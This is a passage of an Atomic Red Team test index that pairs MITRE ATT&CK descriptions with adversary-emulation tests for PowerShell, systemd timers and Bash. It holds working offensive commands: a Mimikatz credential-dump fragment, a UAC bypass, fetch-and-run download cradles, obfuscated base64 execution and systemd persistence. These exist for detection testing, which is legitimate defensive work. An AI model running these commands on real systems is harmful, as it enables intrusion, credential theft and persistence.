Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr\n" name: powershell elevation_required: true - name: Invoke-AppPathBypass auto_generated_guid: 06a220b6-7e29-4bd8-9d07-5b4d86742372 description: | Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ supported_platforms: - windows executor: command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1''); Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''" ' name: command_prompt - name: Powershell MsXml COM object - with prompt auto_generated_guid: 388a7340-dbc1-4c9d-8e59-b75ad8c6d5da description: | Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io supported_platforms: - windows input_arguments: url: description: url of payload to execute type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1 executor: command: 'powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX $comMsXml.ResponseText" ' name: command_prompt - name: Powershell XML requests auto_generated_guid: 4396927f-e503-427b-b023-31049b9b09a6 description: | Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io supported_platforms: - windows input_arguments: url: description: url of payload to execute type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml executor: command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute | IEX" ' name: command_prompt - name: Powershell invoke mshta.exe download auto_generated_guid: 8a2ad40b-12c7-4b25-8521-2737b0a415af description: | Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io supported_platforms: - windows input_arguments: url: description: url of payload to execute type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct executor: command: 'C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()" ' name: command_prompt - name: Powershell Invoke-DownloadCradle auto_generated_guid: cc50fa2a-a4be-42af-a88f-e347ba0bf4d7 description: | Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts. supported_platforms: - windows executor: steps: | 1. Open Powershell_ise as a Privileged Account 2. Invoke-DownloadCradle.ps1 name: manual - name: PowerShell Fileless Script Execution auto_generated_guid: fa050f5e-bc75-4230-af73-b6fd7852cd73 description: | Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder. supported_platforms: - windows executor: command: | # Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team"" reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART))) cleanup_command: | Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore name: powershell - name: NTFS Alternate Data Stream Access auto_generated_guid: 8e5c5532-1181-4c1d-bb79-b3a9f5dbd680 description: 'Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed. ' supported_platforms: - windows input_arguments: ads_file: description: File created to store Alternate Stream Data type: string default: "$env:TEMP\\NTFS_ADS.txt" dependencies: - description: 'Homedrive must be an NTFS drive ' prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Prereq''s for this test cannot be met automatically ' executor: name: powershell command: | Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand' $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand' Invoke-Expression $streamcommand cleanup_command: 'Remove-Item #{ads_file} -Force -ErrorAction Ignore ' - name: PowerShell Session Creation and Use auto_generated_guid: 7c1acec2-78fa-4305-a3e0-db2a54cddecd description: | Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed. supported_platforms: - windows input_arguments: hostname_to_connect: description: The host to connect to, by default it will connect to the local machine type: string default: "$env:COMPUTERNAME" dependencies: - description: 'PSRemoting must be enabled ' prereq_command: "Try {\n New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n" get_prereq_command: 'Enable-PSRemoting ' executor: name: powershell elevation_required: true command: | New-PSSession -ComputerName #{hostname_to_connect} Test-Connection $env:COMPUTERNAME Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use" Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use - name: ATHPowerShellCommandLineParameter -Command parameter variations auto_generated_guid: 686a9785-f99b-41d4-90df-66ed515f81d7 description: Executes powershell.exe with variations of the -Command parameter supported_platforms: - windows input_arguments: command_line_switch_type: description: The type of supported command-line switch to use type: string default: Hyphen command_param_variation: description: The "Command" parameter variation to use type: string default: C dependencies: - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop' name: powershell - name: ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments auto_generated_guid: 1c0a870f-dc74-49cf-9afc-eccc45e58790 description: Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied supported_platforms: - windows input_arguments: command_line_switch_type: description: The type of supported command-line switch to use type: string default: Hyphen command_param_variation: description: The "Command" parameter variation to use type: string default: C encoded_arguments_param_variation: description: The "EncodedArguments" parameter variation to use type: string default: EA dependencies: - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop' name: powershell - name: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations auto_generated_guid: 86a43bad-12e3-4e85-b97c-4d5cf25b95c3 description: Executes powershell.exe with variations of the -EncodedCommand parameter supported_platforms: - windows input_arguments: command_line_switch_type: description: The type of supported command-line switch to use type: string default: Hyphen encoded_command_param_variation: description: The "EncodedCommand" parameter variation to use type: string default: E dependencies: - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop' name: powershell - name: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments auto_generated_guid: 0d181431-ddf3-4826-8055-2dbf63ae848b description: Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied supported_platforms: - windows input_arguments: encoded_command_param_variation: description: The "EncodedCommand" parameter variation to use type: string default: E command_line_switch_type: description: The type of supported command-line switch to use type: string default: Hyphen encoded_arguments_param_variation: description: The "EncodedArguments" parameter variation to use type: string default: EncodedArguments dependencies: - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module. prereq_command: |- $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable if (-not $RequiredModule) {exit 1} if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0} get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop' name: powershell - name: PowerShell Command Execution auto_generated_guid: a538de64-1c74-46ed-aa60-b995ed302598 description: 'Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. ' supported_platforms: - windows input_arguments: obfuscated_code: description: 'Defaults to: Invoke-Expression with a "Write-Host" line.' type: string default: JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA== executor: command: 'powershell.exe -e #{obfuscated_code} ' name: command_prompt - name: PowerShell Invoke Known Malicious Cmdlets auto_generated_guid: 49eb9404-5e0f-4031-a179-b40f7be385e3 description: Powershell execution of known Malicious PowerShell Cmdlets supported_platforms: - windows input_arguments: Malicious_cmdlets: description: Known Malicious Cmdlets type: string default: '"Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword", "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot", "Get-VaultCredential", "Get-VolumeShadowCopy", "Install-SSP", "Invoke-CredentialInjection", "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan", "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode", "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy", "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy", "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump", "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy", "Set-CriticalProcess", "Set-MasterBootRecord" ' executor: name: powershell elevation_required: true command: | $malcmdlets = #{Malicious_cmdlets} foreach ($cmdlets in $malcmdlets) { "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"} foreach ($cmdlets in $malcmdlets) { $cmdlets} - name: PowerUp Invoke-AllChecks auto_generated_guid: 1289f78d-22d2-4590-ac76-166737e1811b description: 'Check for privilege escalation paths using PowerUp from PowerShellMafia ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing) Invoke-AllChecks name: powershell - name: Abuse Nslookup with DNS Records auto_generated_guid: 999bff6d-dc15-44c9-9f5c-e1051bfc86e1 description: | Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729) supported_platforms: - windows executor: command: | # creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami" # this would not be part of a real attack but helpful for this simulation function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")} powershell .(nslookup -q=txt example.com 8.8.8.8)[-1] name: powershell - name: SOAPHound - Dump BloodHound Data auto_generated_guid: 6a5b2a50-d037-4879-bf01-43d4d6cbf73f description: | Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound supported_platforms: - windows input_arguments: user: description: Username for authentication type: string default: "$env:USERNAME" password: description: Password for authentication type: string default: P@ssword1 domain: description: Domain for authentication type: string default: "$env:USERDOMAIN" dc: description: Domain Controller IP type: string default: 10.0.1.14 cachefilename: description: Cache filename type: string default: c:\temp\cache.txt outputdirectory: description: Output directory type: string default: c:\temp\test2 soaphound_path: description: Path to SOAPHound binary type: string default: PathToAtomicsFolder\T1059.001\bin\SOAPHound.exe executor: command: "#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}\n" name: powershell - name: SOAPHound - Build Cache auto_generated_guid: 4099086c-1470-4223-8085-8186e1ed5948 description: | Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound supported_platforms: - windows input_arguments: user: description: Username for authentication type: string default: "$env:USERNAME" password: description: Password for authentication type: string default: P@ssword1 domain: description: Domain for authentication type: string default: "$env:USERDOMAIN" dc: description: Domain Controller IP type: string default: 10.0.1.14 cachefilename: description: Cache filename type: string default: c:\temp\cache.txt soaphound_path: description: Path to SOAPHound binary type: string default: PathToAtomicsFolder\T1059.001\bin\SOAPHound.exe executor: command: "#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}\n" name: powershell T1053.006: technique: modified: '2023-09-08T11:56:26.862Z' name: 'Scheduled Task/Job: Systemd Timers' description: |- Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control) Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/. An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - SarathKumar Rajendran, Trimble Inc x_mitre_deprecated: false x_mitre_detection: |- Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables. Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Command: Command Execution' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - User - root x_mitre_remote_support: true type: attack-pattern id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21 created: '2020-10-12T17:50:31.584Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/006 external_id: T1053.006 - source_name: Systemd Remote Control description: Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021. url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ - source_name: archlinux Systemd Timers Aug 2020 description: archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020. url: https://wiki.archlinux.org/index.php/Systemd/Timers - source_name: gist Arch package compromise 10JUL2018 description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ - source_name: acroread package compromised Arch Linux Mail 8JUL2018 description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019. url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html - source_name: 'Falcon Sandbox smp: 28553b3a9d' description: Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023. url: https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300 - source_name: 'Linux man-pages: systemd January 2014' description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. url: http://man7.org/linux/man-pages/man1/systemd.1.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.006 atomic_tests: - name: Create Systemd Service and Timer auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b description: "This test creates Systemd service and timer then starts and enables the Systemd timer \n" supported_platforms: - linux input_arguments: path_to_systemd_service: description: Path to systemd service unit file type: path default: "/etc/systemd/system/art-timer.service" path_to_systemd_timer: description: Path to service timer file type: path default: "/etc/systemd/system/art-timer.timer" systemd_service_name: description: Name of systemd service type: string default: art-timer.service systemd_timer_name: description: Name of systemd service timer type: string default: art-timer.timer executor: command: | echo "[Unit]" > #{path_to_systemd_service} echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service} echo "[Service]" >> #{path_to_systemd_service} echo "Type=simple" >> #{path_to_systemd_service} echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service} echo "[Install]" >> #{path_to_systemd_service} echo "WantedBy=multi-user.target" >> #{path_to_systemd_service} echo "[Unit]" > #{path_to_systemd_timer} echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer} echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer} echo "[Timer]" >> #{path_to_systemd_timer} echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer} echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer} echo "[Install]" >> #{path_to_systemd_timer} echo "WantedBy=timers.target" >> #{path_to_systemd_timer} systemctl start #{systemd_timer_name} systemctl enable #{systemd_timer_name} systemctl daemon-reload cleanup_command: | systemctl stop #{systemd_timer_name} systemctl disable #{systemd_timer_name} rm #{path_to_systemd_service} rm #{path_to_systemd_timer} systemctl daemon-reload name: bash - name: Create a user level transient systemd service and timer auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec description: "Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemd-run exists on the machine ' prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install systemd on the machine."; exit 1; ' executor: elevation_required: false command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log'' ' cleanup_command: | systemctl --user stop Atomic-Red-Team.service systemctl --user stop Atomic-Red-Team.timer rm /tmp/log name: sh - name: Create a system level transient systemd service and timer auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22 description: "Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemd-run exists on the machine ' prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install systemd on the machine."; exit 1; ' executor: elevation_required: true command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log'' ' cleanup_command: | systemctl stop Atomic-Red-Team.service systemctl stop Atomic-Red-Team.timer rm /tmp/log name: sh T1059.004: technique: modified: '2024-04-16T12:24:40.163Z' name: 'Command and Scripting Interpreter: Bash' description: |- Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Linux - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56 created: '2020-03-09T14:15:05.330Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1059/004 external_id: T1059.004 - source_name: Apple ZShell description: Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020. url: https://support.apple.com/HT208050 - source_name: DieNet Bash description: die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020. url: https://linux.die.net/man/1/bash object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1059.004 atomic_tests: - name: Create and Execute Bash Shell Script auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873 description: 'Creates and executes a simple sh script. ' supported_platforms: - linux - macos input_arguments: script_path: description: Script path type: path default: "/tmp/art.sh" host: description: Host to ping type: string default: 8.8.8.8 executor: command: | sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}" sh -c "echo 'ping -c 4 #{host}' >> #{script_path}" chmod +x #{script_path} sh #{script_path} cleanup_command: 'rm #{script_path} ' name: sh - name: Command-Line Interface auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c description: | Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`. supported_platforms: - linux - macos executor: command: | curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash cleanup_command: 'rm /tmp/art-fish.txt ' name: sh - name: Harvest SUID executable files auto_generated_guid: 46274fc6-08a7-4956-861b-24cbbaa0503c description: "AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. \n" supported_platforms: - linux input_arguments: autosuid: description: Path to the autosuid shell script type: path default: PathToAtomicsFolder/T1059.004/src/AutoSUID.sh autosuid_url: description: Path to download autosuid shell script type: url default: https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh dependency_executor_name: bash dependencies: - description: 'AutoSUID must exist on disk at specified location (#{autosuid}) ' prereq_command: 'if [ -f #{autosuid} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'curl --create-dirs #{autosuid_url} --output #{autosuid} ' executor: command: | chmod +x #{autosuid} bash #{autosuid} cleanup_command: 'rm -rf #{autosuid} ' name: sh - name: LinEnum tool execution auto_generated_guid: a2b35a63-9df1-4806-9a4d-5fe0500845f2 description: 'LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host. ' supported_platforms: - linux input_arguments: linenum: description: Path to the LinEnum shell script type: path default: PathToAtomicsFolder/T1059.004/src/LinEnum.sh linenum_url: description: Path to download LinEnum shell script type: url default: https://raw.githubusercontent.com/rebootuser/LinEnum/c47f9b226d3ce2848629f25fe142c1b2986bc427/LinEnum.sh dependency_executor_name: bash dependencies: - description: 'LinnEnum must exist on disk at specified location (#{linenum}) ' prereq_command: 'if [ -f #{linenum} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'curl --create-dirs #{linenum_url} --output #{linenum} ' executor: command: | chmod +x #{linenum} bash #{linenum} cleanup_command: 'rm -rf #{linenum} ' name: sh - name: New script file in the tmp directory auto_generated_guid: 8cd1947b-4a54-41fb-b5ea-07d0ace04f81 description: 'An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed. ' supported_platforms: - linux executor: name: sh elevation_required: false command: | TMPFILE=$(mktemp) echo "id" > $TMPFILE bash $TMPFILE cleanup_command: | rm $TMPFILE unset TMPFILE - name: What shell is running auto_generated_guid: 7b38e5cc-47be-44f0-a425-390305c76c17 description: 'An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running. ' supported_platforms: - linux executor: name: sh elevation_required: false command: | echo $0 if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi if $(printenv SHELL >/dev/null); then printenv SHELL; fi - name: What shells are available auto_generated_guid: bf23c7dc-1004-4949-8262-4c1d1ef87702 description: 'An adversary may want to discover which shell''s are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host. ' supported_platforms: - linux executor: name: sh elevation_required: false command: "cat /etc/shells \n" - name: Command line scripts auto_generated_guid: b04ed73c-7d43-4dc8-b563-a2fc595cba1a description: 'An adversary may type in elaborate multi-line shell commands into a terminal session because they can''t or don''t wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here! ' supported_platforms: - linux executor: name: sh command: 'for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done ' - name: Obfuscated command line scripts auto_generated_guid: 